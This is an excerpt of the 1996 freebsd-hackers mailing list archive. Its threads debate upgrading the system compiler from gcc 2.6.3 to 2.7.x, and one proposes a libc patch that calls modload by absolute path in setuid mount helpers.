cause an internal compiler error, and generates correct code (tested by using create_light() in a little program). -- ______________________________________________________________________ Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Sat May 18 20:09:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA02809 for hackers-outgoing; Sat, 18 May 1996 20:09:43 -0700 (PDT) Received: from xs1.simplex.nl (xs1.simplex.NL [193.78.46.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA02792 for ; Sat, 18 May 1996 20:09:39 -0700 (PDT) X-Organisation-1: Simplex Networking Amsterdam X (Inter)Network X-Organisation-2: Kruislaan 419-38a 1098 VA Amsterdam X Solutions & X-Organisation-3: tel:+31(20)-6932433 fax:+31(20)-6685486 X Access Provider Received: (from uucp@localhost) by xs1.simplex.nl (8.7.5/8.7.3-RS) with UUCP id FAA06527 for freebsd-hackers@freebsd.org; Sun, 19 May 1996 05:09:37 +0200 (MET DST) Received: (from plm@localhost) by plm.simplex.nl (8.7.5/8.7.3) id JAA16166; Sat, 18 May 1996 09:55:23 +0200 (MET DST) To: freebsd-hackers@freebsd.org Subject: Re: internal compiler error References: <87loirxkdu.fsf@totally-fudged-out-message-id> From: Peter Mutsaers Date: 18 May 1996 09:55:21 +0200 In-Reply-To: "Gary Palmer"'s message of Fri, 17 May 1996 07:44:57 +0100 Message-ID: <87afz6o1p2.fsf@plm.simplex.nl> Lines: 36 X-Mailer: September Gnus v0.85/Emacs 19.30 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> On Fri, 17 May 1996 07:44:57 +0100, "Gary Palmer" >> said: P> Peter Mutsaers wrote in message ID P> <87loisb709.fsf@plm.simplex.nl>: >> But the newer versions are quite a bit faster. I used to use Linux >> until recently and it uses 2.7.2 for everything, so it must be >> possible for FreeBSD too. It is a pity to ignore such easy performance >> gain. P> It's POSSIBLE. Just a LOT of work to ensure that any new 2.7.x P> ``features'' (read: bugs) don't cause problems for the LARGE ammount P> of code in FreeBSD (Remember, the /usr/src is on the order of 120Mb's P> ...) P> It's about the only advantage to the way Linux is packaged (i.e. the P> kernel is one bit, and you put the rest of what you want around P> it). It's a lot less work for it to be migrated to a new P> compiler, as the rest of the bits don't NECESSARILY have to be P> moved at the same time to using the same compiler version. But usuaaly with a new compiler version at least libc and the kernel are recompiled using it. So it makes not much difference. P> Since it is likely that there will be ANOTHER release of GCC before P> 2.2 is out the door (and well before the code freeze starts) I'd P> probably be more inclined to wait a while and take the new compiler P> (2.7.3 I believe) if that is the road that is chosen. I agree that if 2.7.3 appears soon that has all bugfixes from the intermediate (2.7.2.x) versions it is better to wait. -- ______________________________________________________________________ Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Sat May 18 20:24:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA03613 for hackers-outgoing; Sat, 18 May 1996 20:24:49 -0700 (PDT) Received: from nol.net (root@dazed.nol.net [206.126.32.101]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA03608 for ; Sat, 18 May 1996 20:24:45 -0700 (PDT) Received: from dazed.nol.net (blh@dazed.nol.net [206.126.32.101]) by nol.net (8.7.5/8.7.3) with SMTP id WAA22203; Sat, 18 May 1996 22:24:06 -0500 (CDT) X-AUTH: NOLNET SENDMAIL AUTH Date: Sat, 18 May 1996 22:24:04 -0500 (CDT) From: "Brett L. Hawn" To: Andre Grosse Bley cc: Dan Polivy , freebsd-hackers@FreeBSD.org Subject: Re: SECURITY BUG in FreeBSD (fwd) In-Reply-To: <199605181951.VAA00672@infinity.ping.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 18 May 1996, Andre Grosse Bley wrote: Just as a thought... wouldn't it be smarter in the long run to rewrite rm to not check for euid. Brett > I think this one is easy to fix: > > edit /usr/src/lib/libc/gen/getvfsent.c > > In vfsload() you'll see following code: > > status = execlp("modload", "modload", "-e", name_mod, "-o", > name_mod, > "-u", "-q", path, (const char *)0); > > I replaced it by: > status = execlp("/sbin/modload", "/sbin/modload", "-e", name_mod, > "-o", > name_mod, > "-u", "-q", path, (const char *)0); > > rebuilt libc (and INSTALLED!) after that. And don't forget to rebuild > /sbin/mount_union (and mount_msdos, both are setuid) > > This fixes the bug for me, i hope i didn't made any mistakes. Anyone > could tell me if that's ok? > > BTW: Easier is to remove setuid bit from mount_union (and msdos, both > are setuid!) > > -- > Regards, Andre > From owner-freebsd-hackers Sat May 18 20:43:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA16112 for hackers-outgoing; Sat, 18 May 1996 20:43:30 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA16065 for ; Sat, 18 May 1996 20:43:26 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id VAA02628; Sat, 18 May 1996 21:43:20 -0600 Date: Sat, 18 May 1996 21:43:20 -0600 From: Nate Williams Message-Id: <199605190343.VAA02628@rocky.sri.MT.net> To: Peter Mutsaers Cc: terry@lambert.org, freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error In-Reply-To: <199605180724.JAA15835@plm.simplex.nl> References: <199605172004.NAA20510@phaeton.artisoft.com> <199605180724.JAA15835@plm.simplex.nl> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > TL> I guarantee that I can make any code you can name run 50% faster. > > TL> Provided it does not have to produce correct output (a condition you > TL> seem to be willing to accept). ... > I had my own "distribution" that was completely compiled with 2.7.2 > (plus some patches made by H.J. Lu) and -O2. There were no problems > (especially not the last months after H.J. Lu's latest patches) caused > by compiler bugs. You must realize that gcc 2.7.2 as released by H.J. is *not* the stock 2.7.2, but often contains post-release patches to fix bugs in things. Also, his *only* job in Linux is to do gcc/libc, so he can easily follow the folks doing GCC maintenance, while the rest of us do gcc 'upgrades' as an afterthought. > Who says 2.6.3 is bug free? There is always a small chance for > compiler bugs. In those rare cases a workaround may be needed. I > doubt that the latest release of 2.7.2 (2.7.2.9) has more bugs than > 2.6.3 had. There *are* some workaround for gcc 2.6.3 in the tree, but they are *known* bugs, where the bugs in gcc 2.7.2 are unknown, or known well enough to know they aren't worth the effort to workaround. Can I count on you to compile *EVERYTHING* you get your hands on when gcc 2.7.3 is released? This means compiling the entire world, XFree86, and all other programs you use on an everyday basis to make sure nothing breaks? That relatively simple task (lots of time, but not alot of expertise required) is the reason 2.7.2 didn't go into the tree. Things were broken, and we don't have the time nor desire to go and find out why when the current compiler works for all the source code distributed. Nate From owner-freebsd-hackers Sat May 18 22:20:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA24140 for hackers-outgoing; Sat, 18 May 1996 22:20:25 -0700 (PDT) Received: from whisker.cdrom.com (jkh-sl0-w.cdrom.com [204.216.27.194]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA24132 for ; Sat, 18 May 1996 22:20:22 -0700 (PDT) Received: from localhost.cdrom.com (localhost.cdrom.com [127.0.0.1]) by whisker.cdrom.com (8.7.5/8.6.12) with SMTP id VAA03243; Sat, 18 May 1996 21:52:33 -0700 (PDT) Message-Id: <199605190452.VAA03243@whisker.cdrom.com> X-Authentication-Warning: whisker.cdrom.com: Host localhost.cdrom.com [127.0.0.1] didn't use HELO protocol To: invalid opcode cc: "David S. Miller" , nate@sri.MT.net, imp@village.org, msmith@atrad.adelaide.edu.au, hackers@freebsd.org Subject: Re: Note from Usenet In-reply-to: Your message of "Sat, 18 May 1996 12:24:19 PDT." Date: Sat, 18 May 1996 21:52:33 -0700 From: Jordan Hubbard Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Does Linus provide benefits and stock options? He seems to think he is > the CEO, heh. Linus is the principle architect for the kernel and hence entirely justified in setting the release numbers. The linux camp seems to like the arrangement, so what's the problem? Jordan